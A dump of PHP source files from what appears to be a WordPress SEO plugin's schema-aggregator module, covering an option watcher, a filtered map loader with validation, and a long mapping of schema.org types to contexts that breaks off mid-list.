schema-aggregator/infrastructure/schema-aggregator-watcher.php000064400000004667152076255320020754 0ustar00options_helper = $options_helper; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { \add_action( 'update_option_wpseo', [ $this, 'check_schema_aggregator_enabled' ], 10, 2 ); } // phpcs:disable SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingTraversableTypeHintSpecification -- They can really be anything. /** * Checks if the enable_schema_aggregation_endpoint option has been enabled for the first time. * * @param array $old_value The old value of the option. * @param array $new_value The new value of the option. * * @return bool Whether the schema_aggregator_enabled_on timestamp was set. */ public function check_schema_aggregator_enabled( $old_value, $new_value ): bool { if ( $old_value === false ) { $old_value = []; } if ( ! \is_array( $old_value ) || ! \is_array( $new_value ) ) { return false; } $option_key = 'enable_schema_aggregation_endpoint'; $timestamp_key = 'schema_aggregation_endpoint_enabled_on'; $old_enabled = isset( $old_value[ $option_key ] ) && (bool) $old_value[ $option_key ]; $new_enabled = isset( $new_value[ $option_key ] ) && (bool) $new_value[ $option_key ]; if ( ! $old_enabled && $new_enabled ) { $current_timestamp = $this->options_helper->get( $timestamp_key ); if ( empty( $current_timestamp ) ) { $this->options_helper->set( $timestamp_key, \time() ); return true; } } return false; } // phpcs:enable SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingTraversableTypeHintSpecification } schema-aggregator/infrastructure/elements-context-map/filtered-map-loader.php000064400000006606152076255320023622 0ustar00base_loader = $base_loader; } /** * Loads a filtered elements-context map. * * @return array> The filtered elements-context map. */ public function load(): array { $base_map = $this->base_loader->load(); $map = \apply_filters( 'wpseo_schema_aggregator_elements_context_map', $base_map ); try { $this->validate_main_map_lightweight( $map ); foreach ( $map as $context => $elements ) { $filtered_elements = \apply_filters( "wpseo_schema_aggregator_elements_context_map_{$context}", $elements ); $this->validate_elements_array( $filtered_elements ); $map[ $context ] = $filtered_elements; } } catch ( InvalidArgumentException $exception ) { return $base_map; } return $map; } // phpcs:disable SlevomatCodingStandard.TypeHints.DisallowMixedTypeHint.DisallowedMixedTypeHint -- We expect this to be anything the user provides. /** * Lightweight validation for the main map - only checks structure, not contents. * * @param mixed $map The map to validate. * * @throws InvalidArgumentException When the map format is invalid. * * @return void */ private function validate_main_map_lightweight( $map ): void { if ( ! \is_array( $map ) ) { throw new InvalidArgumentException( 'Filter "wpseo_schema_aggregator_elements_context_map" must return an array' ); } if ( ! empty( $map ) ) { // Check only the first key-value pair for performance. $first_key = \array_key_first( $map ); $first_value = $map[ $first_key ]; if ( ! \is_string( $first_key ) ) { throw new InvalidArgumentException( 'Filter "wpseo_schema_aggregator_elements_context_map" must return an array with string keys (context names).', ); } if ( ! \is_array( $first_value ) ) { throw new InvalidArgumentException( 'Filter "wpseo_schema_aggregator_elements_context_map" must return an array with array values (element lists).', ); } } } /** * Validates that the elements array has the correct format. * * @param mixed $elements The elements array to validate. * * @throws InvalidArgumentException When the elements format is invalid. * * @return void */ private function validate_elements_array( $elements ): void { if ( ! \is_array( $elements ) ) { throw new InvalidArgumentException( 'Filter "wpseo_schema_aggregator_elements_context_map_*" must return an array of string element names.' ); } foreach ( $elements as $element ) { if ( ! \is_string( $element ) ) { throw new InvalidArgumentException( 'Filter "wpseo_schema_aggregator_elements_context_map_*" must return an array of string element names.' ); } } } // phpcs:enable SlevomatCodingStandard.TypeHints.DisallowMixedTypeHint.DisallowedMixedTypeHint -- We expect this to be anything the user provides. } schema-aggregator/infrastructure/elements-context-map/map-loader-interface.php000064400000000640152076255320023754 0ustar00> The elements context map. */ public function load(): array; } schema-aggregator/infrastructure/elements-context-map/default-elements-context-map.php000064400000071206152076255320025476 0ustar00> */ private static $map = [ 'action' => [ 'Action', 'AcceptAction', 'AchieveAction', 'ActivateAction', 'AddAction', 'AgreeAction', 'AllocateAction', 'AppendAction', 'ApplyAction', 'ArriveAction', 'AskAction', 'AssessAction', 'AssignAction', 'AuthorizeAction', 'BefriendAction', 'BookmarkAction', 'BorrowAction', 'BuyAction', 'CancelAction', 'CheckAction', 'CheckInAction', 'CheckOutAction', 'ChooseAction', 'ClaimAction', 'CommentAction', 'CommunicateAction', 'ConfirmAction', 'ConsumeAction', 'ControlAction', 'CookAction', 'CreateAction', 'DeactivateAction', 'DeleteAction', 'DepartAction', 'DisagreeAction', 'DiscoverAction', 'DislikeAction', 'DonateAction', 'DownloadAction', 'DrawAction', 'DrinkAction', 'EatAction', 'EditAction', 'EndorseAction', 'ExerciseAction', 'FilmAction', 'FindAction', 'FollowAction', 'GiveAction', 'IgnoreAction', 'InformAction', 'InsertAction', 'InstallAction', 'InteractAction', 'InviteAction', 'JoinAction', 'LeaveAction', 'LendAction', 'LikeAction', 'ListenAction', 'LoseAction', 'MarryAction', 'MoneyTransfer', 'MoveAction', 'OrderAction', 'OrganizeAction', 'PaintAction', 'PayAction', 'PerformAction', 'PhotographAction', 'PlanAction', 'PlayAction', 'PreOrderAction', 'PrependAction', 'QuoteAction', 'ReactAction', 'ReadAction', 'ReceiveAction', 'RegisterAction', 'RejectAction', 'RentAction', 'ReplaceAction', 'ReplyAction', 'ReportAction', 'ReserveAction', 'ResumeAction', 'ReturnAction', 'ReviewAction', 'RsvpAction', 'ScheduleAction', 'SearchAction', 'SeekToAction', 'SellAction', 'SendAction', 'ShareAction', 'SubscribeAction', 'SuspendAction', 'TakeAction', 'TieAction', 'TipAction', 'TrackAction', 'TradeAction', 'TransferAction', 'TravelAction', 'UnRegisterAction', 'UpdateAction', 'UseAction', 'ViewAction', 'VoteAction', 'WantAction', 'WatchAction', 'WearAction', 'WinAction', 'WriteAction', ], 'commerce' => [ 'Product', 'Car', 'Drug', 'DietarySupplement', 'IndividualProduct', 'Motorcycle', 'ProductGroup', 'ProductModel', 'SomeProducts', 'Vehicle', 'BusOrCoach', 'MotorizedBicycle', 'Offer', 'AggregateOffer', 'Demand', 'Order', 'OrderItem', 'Invoice', 'PriceSpecification', 'CompoundPriceSpecification', 'DeliveryChargeSpecification', 'PaymentChargeSpecification', 'UnitPriceSpecification', 'ShippingConditions', 'ShippingDeliveryTime', 'ShippingRateSettings', 'ShippingService', 'MerchantReturnPolicy', 'MerchantReturnPolicySeasonalOverride', 'OfferShippingDetails', 'OfferCatalog', 'ParcelDelivery', 'FinancialProduct', 'BankAccount', 'CurrencyConversionService', 'DepositAccount', 'InvestmentFund', 'InvestmentOrDeposit', 'LoanOrCredit', 'MortgageLoan', 'PaymentCard', 'CreditCard', 'PaymentService', ], 'content' => [ 'CreativeWork', 'AmpStory', 'AnalysisNewsArticle', 'Answer', 'ArchiveComponent', 'Article', 'AskPublicNewsArticle', 'Atlas', 'Audiobook', 'BackgroundNewsArticle', 'Blog', 'BlogPosting', 'Book', 'BookSeries', 'Certification', 'Chapter', 'Claim', 'Clip', 'Code', 'Collection', 'ComicCoverArt', 'ComicIssue', 'ComicSeries', 'ComicStory', 'Comment', 'Conversation', 'CorrectionComment', 'Course', 'CoverArt', 'CreativeWorkSeason', 'CreativeWorkSeries', 'CriticReview', 'DataCatalog', 'DataDownload', 'Dataset', 'DefinedTermSet', 'Diet', 'DigitalDocument', 'DiscussionForumPosting', 'Drawing', 'EducationalOccupationalCredential', 'EmailMessage', 'Episode', 'ExercisePlan', 'FAQPage', 'Game', 'Guide', 'HowTo', 'HowToDirection', 'HowToSection', 'HowToStep', 'HowToTip', 'HyperToc', 'HyperTocEntry', 'ImageGallery', 'Legislation', 'LegislationObject', 'LiveBlogPosting', 'Manuscript', 'Map', 'MathSolver', 'MediaGallery', 'MediaObject', 'MediaReview', 'MediaReviewItem', 'Menu', 'MenuSection', 'Message', 'Movie', 'MovieClip', 'MovieSeries', 'MusicAlbum', 'MusicComposition', 'MusicPlaylist', 'MusicRecording', 'MusicRelease', 'MusicVideoObject', 'NewsArticle', 'Newspaper', 'NoteDigitalDocument', 'OpinionNewsArticle', 'Painting', 'Periodical', 'Photograph', 'Play', 'Poster', 'PresentationDigitalDocument', 'ProductCollection', 'PublicationIssue', 'PublicationVolume', 'Question', 'Quiz', 'Quotation', 'RadioClip', 'RadioEpisode', 'RadioSeason', 'RadioSeries', 'Recipe', 'Recommendation', 'Report', 'ReportageNewsArticle', 'Review', 'ReviewNewsArticle', 'SatiricalArticle', 'ScholarlyArticle', 'Sculpture', 'Season', 'SheetMusic', 'ShortStory', 'SocialMediaPosting', 'SoftwareApplication', 'SoftwareSourceCode', 'SpecialAnnouncement', 'SpreadsheetDigitalDocument', 'Statement', 'TechArticle', 'TextDigitalDocument', 'Thesis', 'TVClip', 'TVEpisode', 'TVSeason', 'TVSeries', 'UserBlocks', 'UserCheckins', 'UserComments', 'UserDownloads', 'UserInteraction', 'UserLikes', 'UserPageVisits', 'UserPlays', 'UserPlusOnes', 'UserTweets', 'VideoClip', 'VideoGallery', 'VideoGame', 'VideoGameClip', 'VideoGameSeries', 'VideoObject', 'VideoObjectSnapshot', 'VisualArtwork', 'WebContent', '3DModel', 'AudioObject', 'AudioObjectSnapshot', 'ImageObject', 'ImageObjectSnapshot', 'JobPosting', 'HowToItem', 'HowToSupply', 'HowToTool', 'MenuItem', 'Trip', 'BoatTrip', 'BusTrip', 'Flight', 'TouristTrip', 'TrainTrip', ], 'data' => [ 'Intangible', 'ActionAccessSpecification', 'AlignmentObject', 'Audience', 'BedDetails', 'Brand', 'BroadcastChannel', 'BroadcastFrequencySpecification', 'ComputerLanguage', 'DataFeedItem', 'DefinedTerm', 'CategoryCode', 'DefinedRegion', 'DigitalDocumentPermission', 'EnergyConsumptionDetails', 'EntryPoint', 'FinancialIncentive', 'FloorPlan', 'GameServer', 'GeospatialGeometry', 'Grant', 'MonetaryGrant', 'HealthInsurancePlan', 'HealthPlanCostSharingSpecification', 'HealthPlanFormulary', 'HealthPlanNetwork', 'Language', 'MediaSubscription', 'MemberProgram', 'Observation', 'Occupation', 'OccupationalExperienceRequirements', 'Permit', 'GovernmentPermit', 'ProgramMembership', 'PropertyValueSpecification', 'Quantity', 'Distance', 'Duration', 'Energy', 'Mass', 'Rating', 'AggregateRating', 'EndorsementRating', 'EmployerAggregateRating', 'Reservation', 'BoatReservation', 'BusReservation', 'EventReservation', 'FlightReservation', 'FoodEstablishmentReservation', 'LodgingReservation', 'RentalCarReservation', 'ReservationPackage', 'TaxiReservation', 'TrainReservation', 'Role', 'LinkRole', 'OrganizationRole', 'EmployeeRole', 'PerformanceRole', 'Schedule', 'Seat', 'Service', 'BroadcastService', 'CableOrSatelliteService', 'FoodService', 'GovernmentService', 'TaxiService', 'WebAPI', 'ServiceChannel', 'SpeakableSpecification', 'StatisticalPopulation', 'StructuredValue', 'CDCPMDRecord', 'ContactPoint', 'PostalAddress', 'DatedMoneySpecification', 'DeliveryTimeSettings', 'EngineSpecification', 'ExchangeRateSpecification', 'GeoCircle', 'GeoCoordinates', 'GeoShape', 'InteractionCounter', 'MonetaryAmount', 'MonetaryAmountDistribution', 'NutritionInformation', 'OpeningHoursSpecification', 'OwnershipInfo', 'PostalCodeRangeSpecification', 'PropertyValue', 'LocationFeatureSpecification', 'QuantitativeValue', 'QuantitativeValueDistribution', 'RepaymentSpecification', 'ServicePeriod', 'TypeAndQuantityNode', 'WarrantyPromise', 'Ticket', 'VirtualLocation', 'DataType', 'Boolean', 'False', 'True', 'Date', 'DateTime', 'Number', 'Float', 'Integer', 'Text', 'CssSelectorType', 'PronounceableText', 'URL', 'XPathType', 'Time', ], 'entity' => [ 'Thing', 'Person', 'Patient', 'Organization', 'Airline', 'Consortium', 'Cooperative', 'Corporation', 'EducationalOrganization', 'CollegeOrUniversity', 'ElementarySchool', 'HighSchool', 'MiddleSchool', 'Preschool', 'School', 'FundingScheme', 'GovernmentOrganization', 'LibrarySystem', 'LocalBusiness', 'MedicalOrganization', 'DiagnosticLab', 'Hospital', 'MedicalClinic', 'Pharmacy', 'Physician', 'VeterinaryCare', 'MemberProgramTier', 'NGO', 'NewsMediaOrganization', 'OnlineBusiness', 'OnlineStore', 'PerformingGroup', 'DanceGroup', 'MusicGroup', 'TheaterGroup', 'PoliticalParty', 'Project', 'FundingAgency', 'ResearchProject', 'ResearchOrganization', 'SearchRescueOrganization', 'SportsOrganization', 'SportsTeam', 'WorkersUnion', 'AccountingService', 'AnimalShelter', 'ArchiveOrganization', 'AutoBodyShop', 'AutoDealer', 'AutoPartsStore', 'AutoRental', 'AutoRepair', 'AutoWash', 'AutomatedTeller', 'AutomotiveBusiness', 'Bakery', 'BankOrCreditUnion', 'BarOrPub', 'BeautySalon', 'BedAndBreakfast', 'BikeStore', 'BookStore', 'BowlingAlley', 'Brewery', 'CafeOrCoffeeShop', 'Campground', 'Casino', 'ChildCare', 'ClothingStore', 'ComputerStore', 'ConvenienceStore', 'DaySpa', 'Dentist', 'DepartmentStore', 'DistilleryOrganization', 'Distillery', 'DryCleaningOrLaundry', 'ElectronicsStore', 'EmploymentAgency', 'EntertainmentBusiness', 'AdultEntertainment', 'AmusementPark', 'ArtGallery', 'ComedyClub', 'MovieTheater', 'NightClub', 'ExerciseGym', 'FinancialService', 'Florist', 'FoodEstablishment', 'FurnitureStore', 'GardenStore', 'GasStation', 'GeneralContractor', 'GolfCourse', 'GovernmentOffice', 'PostOffice', 'GroceryStore', 'HairSalon', 'HardwareStore', 'HealthAndBeautyBusiness', 'HealthClub', 'HobbyShop', 'HomeAndConstructionBusiness', 'Electrician', 'HVACBusiness', 'HousePainter', 'Locksmith', 'MovingCompany', 'Plumber', 'RoofingContractor', 'HomeGoodsStore', 'Hostel', 'Hotel', 'IceCreamShop', 'InsuranceAgency', 'InternetCafe', 'JewelryStore', 'LegalService', 'Attorney', 'Notary', 'Library', 'LiquorStore', 'LodgingBusiness', 'MedicalBusiness', 'MensClothingStore', 'MobilePhoneStore', 'Motel', 'MotorcycleDealer', 'MotorcycleRepair', 'MovieRentalStore', 'MusicStore', 'NailSalon', 'OfficeEquipmentStore', 'Optician', 'OutletStore', 'PawnShop', 'PetStore', 'ProfessionalService', 'RadioStation', 'RealEstateAgent', 'RecyclingCenter', 'Resort', 'Restaurant', 'FastFoodRestaurant', 'SelfStorage', 'ShoeStore', 'ShoppingCenter', 'SkiResort', 'SportingGoodsStore', 'SportsActivityLocation', 'StadiumOrArena', 'Store', 'TattooParlor', 'TelevisionStation', 'TennisComplex', 'TireShop', 'TouristInformationCenter', 'ToyStore', 'TravelAgency', 'WholesaleStore', 'Winery', 'Place', 'Accommodation', 'Apartment', 'CampingPitch', 'House', 'SingleFamilyResidence', 'Room', 'HotelRoom', 'MeetingRoom', 'Suite', 'AdministrativeArea', 'City', 'Country', 'SchoolDistrict', 'State', 'CivicStructure', 'Airport', 'Aquarium', 'Beach', 'BoatTerminal', 'Bridge', 'BusStation', 'BusStop', 'Cemetery', 'Crematorium', 'EventVenue', 'FireStation', 'GovernmentBuilding', 'CityHall', 'Courthouse', 'DefenceEstablishment', 'Embassy', 'LegislativeBuilding', 'Museum', 'MusicVenue', 'Park', 'ParkingFacility', 'PerformingArtsTheater', 'PlaceOfWorship', 'BuddhistTemple', 'Church', 'CatholicChurch', 'HinduTemple', 'Mosque', 'Synagogue', 'Playground', 'PoliceStation', 'PublicToilet', 'RVPark', 'SubwayStation', 'TaxiStand', 'TrainStation', 'Zoo', 'Landform', 'BodyOfWater', 'Canal', 'LakeBodyOfWater', 'OceanBodyOfWater', 'Pond', 'Reservoir', 'RiverBodyOfWater', 'SeaBodyOfWater', 'Waterfall', 'Continent', 'Mountain', 'Volcano', 'LandmarksOrHistoricalBuildings', 'Residence', 'ApartmentComplex', 'GatedResidenceCommunity', 'TouristAttraction', 'TouristDestination', 'Taxon', ], 'enumeration' => [ 'RespiratoryTherapy', 'Enumeration', 'ActionStatusType', 'ActiveActionStatus', 'CompletedActionStatus', 'FailedActionStatus', 'PotentialActionStatus', 'AdultOrientedEnumeration', 'AlcoholConsideration', 'DangerousGoodConsideration', 'HealthcareConsideration', 'NarcoticConsideration', 'ReducedRelevanceForChildrenConsideration', 'SexualContentConsideration', 'TobaccoNicotineConsideration', 'UnclassifiedAdultConsideration', 'ViolenceConsideration', 'WeaponConsideration', 'BoardingPolicyType', 'GroupBoardingPolicy', 'ZoneBoardingPolicy', 'BodyMeasurementTypeEnumeration', 'BodyMeasurementArm', 'BodyMeasurementBust', 'BodyMeasurementChest', 'BodyMeasurementFoot', 'BodyMeasurementHand', 'BodyMeasurementHead', 'BodyMeasurementHeight', 'BodyMeasurementHips', 'BodyMeasurementInsideLeg', 'BodyMeasurementNeck', 'BodyMeasurementUnderbust', 'BodyMeasurementWaist', 'BodyMeasurementWeight', 'BookFormatType', 'AudiobookFormat', 'EBook', 'GraphicNovel', 'Hardcover', 'Paperback', 'BusinessEntityType', 'BusinessFunction', 'CarUsageType', 'ContactPointOption', 'HearingImpairedSupported', 'TollFree', 'DayOfWeek', 'Friday', 'Monday', 'PublicHolidays', 'Saturday', 'Sunday', 'Thursday', 'Tuesday', 'Wednesday', 'DeliveryMethod', 'LockerDelivery', 'OnSitePickup', 'ParcelService', 'DigitalDocumentPermissionType', 'CommentPermission', 'ReadPermission', 'WritePermission', 'DigitalPlatformEnumeration', 'AndroidPlatform', 'DesktopWebPlatform', 'GenericWebPlatform', 'IOSPlatform', 'MobileWebPlatform', 'DigitalSourceType', 'AlgorithmicMediaDigitalSource', 'AlgorithmicallyEnhancedDigitalSource', 'CompositeCaptureDigitalSource', 'CompositeDigitalSource', 'CompositeSyntheticDigitalSource', 'CompositeWithTrainedAlgorithmicMediaDigitalSource', 'DataDrivenMediaDigitalSource', 'DigitalArtDigitalSource', 'DigitalCaptureDigitalSource', 'MinorHumanEditsDigitalSource', 'MultiFrameComputationalCaptureDigitalSource', 'NegativeFilmDigitalSource', 'PositiveFilmDigitalSource', 'PrintDigitalSource', 'ScreenCaptureDigitalSource', 'TrainedAlgorithmicMediaDigitalSource', 'VirtualRecordingDigitalSource', 'DriveWheelConfigurationValue', 'AllWheelDriveConfiguration', 'FourWheelDriveConfiguration', 'FrontWheelDriveConfiguration', 'RearWheelDriveConfiguration', 'DrugCostCategory', 'ReimbursementCap', 'Retail', 'Wholesale', 'DrugPregnancyCategory', 'FDAcategoryA', 'FDAcategoryB', 'FDAcategoryC', 'FDAcategoryD', 'FDAcategoryX', 'FDAnotEvaluated', 'DrugPrescriptionStatus', 'OTC', 'PrescriptionOnly', 'EUEnergyEfficiencyEnumeration', 'EUEnergyEfficiencyCategoryA', 'EUEnergyEfficiencyCategoryA1Plus', 'EUEnergyEfficiencyCategoryA2Plus', 'EUEnergyEfficiencyCategoryA3Plus', 'EUEnergyEfficiencyCategoryB', 'EUEnergyEfficiencyCategoryC', 'EUEnergyEfficiencyCategoryD', 'EUEnergyEfficiencyCategoryE', 'EUEnergyEfficiencyCategoryF', 'EUEnergyEfficiencyCategoryG', 'EnergyStarEnergyEfficiencyEnumeration', 'EventAttendanceModeEnumeration', 'MixedEventAttendanceMode', 'OfflineEventAttendanceMode', 'OnlineEventAttendanceMode', 'EventStatusType', 'EventCancelled', 'EventMovedOnline', 'EventPostponed', 'EventRescheduled', 'EventScheduled', 'FulfillmentTypeEnumeration', 'FulfillmentTypeDelivery', 'FulfillmentTypePickup', 'GameAvailabilityEnumeration', 'DemoGameAvailability', 'FullGameAvailability', 'GamePlayMode', 'CoOp', 'MultiPlayer', 'SinglePlayer', 'GameServerStatus', 'OfflinePermanently', 'OfflineTemporarily', 'Online', 'OnlineFull', 'GenderType', 'Female', 'Male', 'GovernmentBenefitsType', 'BasicIncome', 'BusinessSupport', 'DisabilitySupport', 'HealthCare', 'OneTimePayments', 'PaidLeave', 'ParentalSupport', 'UnemploymentSupport', 'HealthAspectEnumeration', 'AllergiesHealthAspect', 'BenefitsHealthAspect', 'CausesHealthAspect', 'ContagiousnessHealthAspect', 'EffectivenessHealthAspect', 'GettingAccessHealthAspect', 'HowItWorksHealthAspect', 'HowOrWhereHealthAspect', 'IngredientsHealthAspect', 'LivingWithHealthAspect', 'MayTreatHealthAspect', 'MisconceptionsHealthAspect', 'OverviewHealthAspect', 'PatientExperienceHealthAspect', 'PregnancyHealthAspect', 'PreventionHealthAspect', 'PrognosisHealthAspect', 'RelatedTopicsHealthAspect', 'RisksOrComplicationsHealthAspect', 'SafetyHealthAspect', 'ScreeningHealthAspect', 'SeeDoctorHealthAspect', 'SelfCareHealthAspect', 'SideEffectsHealthAspect', 'StagesHealthAspect', 'SymptomsHealthAspect', 'TreatmentsHealthAspect', 'TypesHealthAspect', 'UsageOrScheduleHealthAspect', 'IncentiveEligibility', 'IncentiveStatus', 'IncentiveType', 'ItemAvailability', 'BackOrder', 'Discontinued', 'InStock', 'InStoreOnly', 'LimitedAvailability', 'MadeToOrder', 'OnlineOnly', 'OutOfStock', 'PreOrder', 'PreSale', 'Reserved', 'SoldOut', 'ItemListOrderType', 'ItemListOrderAscending', 'ItemListOrderDescending', 'ItemListUnordered', 'LegalForceStatus', 'InForce', 'NotInForce', 'PartiallyInForce', 'LegalValueLevel', 'AuthoritativeLegalValue', 'DefinitiveLegalValue', 'OfficialLegalValue', 'UnofficialLegalValue', 'MapCategoryType', 'ParkingMap', 'SeatingMap', 'TransitMap', 'VenueMap', 'MeasurementMethodEnum', 'ExhaustEmissionsMeasurementMethod', 'MeasurementTypeEnumeration', 'WearableMeasurementBack', 'WearableMeasurementChestOrBust', 'WearableMeasurementCollar', 'WearableMeasurementCup', 'WearableMeasurementHeight', 'WearableMeasurementHips', 'WearableMeasurementInseam', 'WearableMeasurementLength', 'WearableMeasurementOutsideLeg', 'WearableMeasurementSleeve', 'WearableMeasurementWaist', 'WearableMeasurementWidth', 'MediaManipulationRatingEnumeration', 'DecontextualizedContent', 'EditedOrCroppedContent', 'OriginalMediaContent', 'SatireOrParodyContent', 'StagedContent', 'TransformedContent', 'MedicalAudienceType', 'Clinician', 'MedicalResearcher', 'MedicalDevicePurpose', 'Diagnostic', 'Therapeutic', 'MedicalEnumeration', 'MedicalEvidenceLevel', 'EvidenceLevelA', 'EvidenceLevelB', 'EvidenceLevelC', 'MedicalImagingTechnique', 'CT', 'MRI', 'PET', 'Radiography', 'Ultrasound', 'XRay', 'MedicalObservationalStudyDesign', 'CaseSeries', 'CohortStudy', 'CrossSectional', 'Longitudinal', 'Observational', 'Registry', 'MedicalProcedureType', 'NoninvasiveProcedure', 'PercutaneousProcedure', 'MedicalSpecialty', 'Anesthesia', 'Cardiovascular', 'CommunityHealth', 'Dentistry', 'Dermatologic', 'Dermatology', 'DietNutrition', 'Emergency', 'Endocrine', 'Gastroenterologic', 'Genetic', 'Geriatric', 'Gynecologic', 'Hematologic', 'Infectious', 'LaboratoryScience', 'Midwifery', 'Musculoskeletal', 'Neurologic', 'Nursing', 'Obstetric', 'Oncologic', 'Optometric', 'Otolaryngologic', 'Pathology', 'Pediatric', 'PharmacySpecialty', 'Physiotherapy', 'PlasticSurgery', 'Podiatric', 'PrimaryCare', 'Psychiatric', 'PublicHealth', 'Pulmonary', 'Renal', 'Rheumatologic', 'SpeechPathology', 'Surgical', 'Toxicologic', 'Urologic', 'MedicalStudyStatus', 'ActiveNotRecruiting', 'Completed', 'EnrollingByInvitation', 'NotYetRecruiting', 'Recruiting', 'ResultsAvailable', 'ResultsNotAvailable', 'Suspended', 'Terminated', 'Withdrawn', 'MedicalTrialDesign', 'DoubleBlindedTrial', 'InternationalTrial', 'MultiCenterTrial', 'OpenTrial', 'PlaceboControlledTrial', 'RandomizedTrial', 'SingleBlindedTrial', 'SingleCenterTrial', 'TripleBlindedTrial', 'MedicineSystem', 'Ayurvedic', 'Chiropractic', 'Homeopathic', 'Osteopathic', 'TraditionalChinese', 'WesternConventional', 'MerchantReturnEnumeration', 'MerchantReturnFiniteReturnWindow', 'MerchantReturnNotPermitted', 'MerchantReturnUnlimitedWindow', 'MerchantReturnUnspecified', 'MusicAlbumProductionType', 'CompilationAlbum', 'DJMixAlbum', 'DemoAlbum', 'LiveAlbum', 'MixtapeAlbum', 'RemixAlbum', 'SoundtrackAlbum', 'SpokenWordAlbum', 'StudioAlbum', 'MusicAlbumReleaseType', 'AlbumRelease', 'BroadcastRelease', 'EPRelease', 'SingleRelease', 'MusicReleaseFormatType', 'CDFormat', 'CassetteFormat', 'DVDFormat', 'DigitalAudioTapeFormat', 'DigitalFormat', 'LaserDiscFormat', 'VinylFormat', 'NLNonprofitType', 'NonprofitANBI', 'NonprofitSBBI', 'NonprofitType', 'OfferItemCondition', 'DamagedCondition', 'NewCondition', 'RefurbishedCondition', 'UsedCondition', 'OrderStatus', 'OrderCancelled', 'OrderDelivered', 'OrderInTransit', 'OrderPaymentDue', 'OrderPickupAvailable', 'OrderProblem', 'OrderProcessing', 'OrderReturned', 'PaymentMethod', 'ByBankTransferInAdvance', 'ByInvoice', 'COD', 'Cash', 'CheckInAdvance', 'DirectDebit', 'InStorePrepay', 'PhoneCarrierPayment', 'PaymentStatusType', 'PaymentAutomaticallyApplied', 'PaymentComplete', 'PaymentDeclined', 'PaymentDue', 'PaymentPastDue', 'PhysicalActivityCategory', 'AerobicActivity', 'AnaerobicActivity', 'Balance', 'Flexibility', 'LeisureTimeActivity', 'OccupationalActivity', 'StrengthTraining', 'PhysicalExamEnumeration', 'Abdomen', 'Appearance', 'CardiovascularExam', 'Ear', 'Eye', 'Genitourinary', 'Head', 'Lung', 'MusculoskeletalExam', 'Neck', 'Neuro', 'Nose', 'Skin', 'Throat', 'PriceComponentTypeEnumeration', 'ActivationFee', 'CleaningFee', 'DistanceFee', 'Downpayment', 'Installment', 'Subscription', 'PriceTypeEnumeration', 'InvoicePrice', 'ListPrice', 'MSRP', 'MinimumAdvertisedPrice', 'RegularPrice', 'SRP', 'SalePrice', 'StrikethroughPrice', 'QualitativeValue', 'RefundTypeEnumeration', 'ExchangeRefund', 'FullRefund', 'StoreCreditRefund', 'ReservationStatusType', 'ReservationCancelled', 'ReservationConfirmed', 'ReservationHold', 'ReservationPending', 'RestrictedDiet', 'DiabeticDiet', 'GlutenFreeDiet', 'HalalDiet', 'HinduDiet', 'KosherDiet', 'LowCalorieDiet', 'LowFatDiet', 'LowLactoseDiet', 'LowSaltDiet', 'VeganDiet', 'VegetarianDiet', 'ReturnFeesEnumeration', 'FreeReturn', 'OriginalShippingFees', 'RestockingFees', 'ReturnFeesCustomerResponsibility', 'ReturnShippingFees', 'ReturnLabelSourceEnumeration', 'ReturnLabelCustomerResponsibility', 'ReturnLabelDownloadAndPrint', 'ReturnLabelInBox', 'ReturnMethodEnumeration', 'KeepProduct', 'ReturnAtKiosk', 'ReturnByMail', 'ReturnInStore', 'RsvpResponseType', 'RsvpResponseMaybe', 'RsvpResponseNo', 'RsvpResponseYes', 'SizeGroupEnumeration', 'WearableSizeGroupBig', 'WearableSizeGroupBoys', 'WearableSizeGroupExtraShort', 'WearableSizeGroupExtraTall', 'WearableSizeGroupGirls', 'WearableSizeGroupHusky', 'WearableSizeGroupInfants', 'WearableSizeGroupJuniors', 'WearableSizeGroupMaternity', 'WearableSizeGroupMens', 'WearableSizeGroupMisses', 'WearableSizeGroupPetite', 'WearableSizeGroupPlus', 'WearableSizeGroupRegular', 'WearableSizeGroupShort', 'WearableSizeGroupTall', 'WearableSizeGroupWomens', 'SizeSpecification', 'SizeSystemEnumeration', 'SizeSystemImperial', 'SizeSystemMetric', 'WearableSizeSystemAU', 'WearableSizeSystemBR', 'WearableSizeSystemCN', 'WearableSizeSystemContinental', 'WearableSizeSystemDE', 'WearableSizeSystemEN13402', 'WearableSizeSystemEurope', 'WearableSizeSystemFR', 'WearableSizeSystemGS1', 'WearableSizeSystemIT', 'WearableSizeSystemJP', 'WearableSizeSystemMX', 'WearableSizeSystemUK', 'WearableSizeSystemUS', 'Specialty', 'StatusEnumeration', 'SteeringPositionValue', 'LeftHandDriving', 'RightHandDriving', 'USNonprofitType', 'Nonprofit501a', 'Nonprofit501c1', 'Nonprofit501c10', 'Nonprofit501c11', 'Nonprofit501c12', 'Nonprofit501c13', 'Nonprofit501c14', 'Nonprofit501c15', 'Nonprofit501c16', 'Nonprofit501c17', 'Nonprofit501c18', 'Nonprofit501c19', 'Nonprofit501c2', 'Nonprofit501c20', 'Nonprofit501c21', 'Nonprofit501c22', 'Nonprofit501c23', 'Nonprofit501c24', 'Nonprofit501c25', 'Nonprofit501c26', 'Nonprofit501c27', 'Nonprofit501c28', 'Nonprofit501c3', 'Nonprofit501c4', 'Nonprofit501c5', 'Nonprofit501c6', 'Nonprofit501c7', 'Nonprofit501c8', 'Nonprofit501c9', 'Nonprofit501d', 'Nonprofit501e', 'Nonprofit501f', 'Nonprofit501k', 'Nonprofit501n', 'Nonprofit501q', 'Nonprofit527', 'WarrantyScope', ], 'event' => [ 'Event', 'BusinessEvent', 'ChildrensEvent', 'ComedyEvent', 'CourseInstance', 'DanceEvent', 'DeliveryEvent', 'EducationEvent', 'EventSeries', 'ExhibitionEvent', 'Festival', 'FoodEvent', 'Hackathon', 'LiteraryEvent', 'MusicEvent', 'OnDemandEvent', 'PublicationEvent', 'BroadcastEvent', 'SaleEvent', 'ScreeningEvent', 'SocialEvent', 'SportsEvent', 'TheaterEvent', 'VisualArtsEvent', ], 'medical' => [ 'MedicalEntity', 'AnatomicalStructure', 'Artery', 'Bone', 'BrainStructure', 'Joint', 'Ligament', 'Muscle', 'Nerve', 'Vein', 'AnatomicalSystem', 'DrugClass', 'DrugCost', 'DrugStrength', 'DoseSchedule', 'MaximumDoseSchedule', 'RecommendedDoseSchedule', 'ReportedDoseSchedule', 'LifestyleModification', 'PhysicalActivity', 'MedicalCause', 'MedicalCondition', 'InfectiousDisease', 'MedicalSignOrSymptom', 'MedicalSign', 'VitalSign', 'MedicalSymptom', 